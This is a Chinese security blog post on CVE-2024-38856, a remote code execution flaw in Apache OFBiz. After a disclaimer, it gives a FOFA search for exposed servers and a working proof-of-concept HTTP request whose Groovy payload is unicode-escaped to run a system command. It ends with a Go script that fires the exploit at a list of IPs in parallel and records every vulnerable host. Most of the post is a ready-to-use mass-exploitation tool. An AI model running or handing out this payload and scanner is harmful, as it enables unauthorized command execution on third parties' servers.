Rce!Apache OFBiz代码执行(CVE-2024-38856)
Rce!Apache OFBiz代码执行(CVE-2024-38856)
原创 琴音安全 琴音安全 2024-08-11 16:45
0x01 免责声明
琴音安全(本公众号)的技术文章仅供参考,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。信息及工具收集于互联网,真实性及安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!
0x02 漏洞简介
Apache_OFBiz是一款美国阿帕奇(Apache)基金会下的一套(ERP)系统。该系统可以提供一整套基于Java的Web应用程序组件及工具。Apache_ OFBiz的18.12.14及之前版本均存在安全漏洞,该漏洞源于存在授权错误导致的漏洞,从而导致未经身份验证的端点可执行屏幕渲染代码。
0x03 资产发现
FOFA
:
app=”Apache_OFBiz”
0x04 漏洞复现
Poc
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 260
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
自动化利用脚本
package main
import (
"bufio"
"crypto/tls"
"fmt"
"github.com/imroc/req/v3"
"os"
"strings"
"sync"
)
var (
Payload = "groovyProgram=\\u0074\\u0068\\u0072\\u006f\\u0077\\u0020\\u006e\\u0065\\u0077\\u0020\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0028\\u0027\\u0069\\u0064\\u0027\\u002e\\u0065\\u0078\\u0065\\u0063\\u0075\\u0074\\u0065\\u0028\\u0029\\u002e\\u0074\\u0065\\u0078\\u0074\\u0029\\u003b"
wg sync.WaitGroup
)
func main() {
file, err := os.Open("ip.txt")
if err != nil {
fmt.Println("打开文件失败:", err)
return
}
defer file.Close()
outFile, err := os.OpenFile("suss.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println("打开文件失败:", err)
return
}
defer outFile.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
wg.Add(1)
go func(ip string) {
defer wg.Done()
urls := []string{ip}
if !strings.HasPrefix(ip, "http://") && !strings.HasPrefix(ip, "https://") {
urls = []string{"https://" + ip, "http://" + ip}
}
for _, url := range urls {
client := req.C().SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true})
resp, err := client.SetCommonHeaders(map[string]string{
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/x-www-form-urlencoded",
}).R().SetBody(Payload).Post(url + "/webtools/control/main/ProgramExport")
if err != nil {
fmt.Println("请求失败:", err)
continue
}
if resp.IsSuccessState() && strings.Contains(resp.String(), "java.lang.Exception") {
_, err = outFile.WriteString(url + "\n")
if err != nil {
fmt.Println("写入文件失败:", err)
}
break
}
}
}(scanner.Text())
}
wg.Wait()
if err := scanner.Err(); err != nil {
fmt.Println("读取文件失败:", err)
}
}
加上需要扫描的目标文件,以及输出的文件即可。
0x05 文末
公众号后台回复交流群,获取进群链接。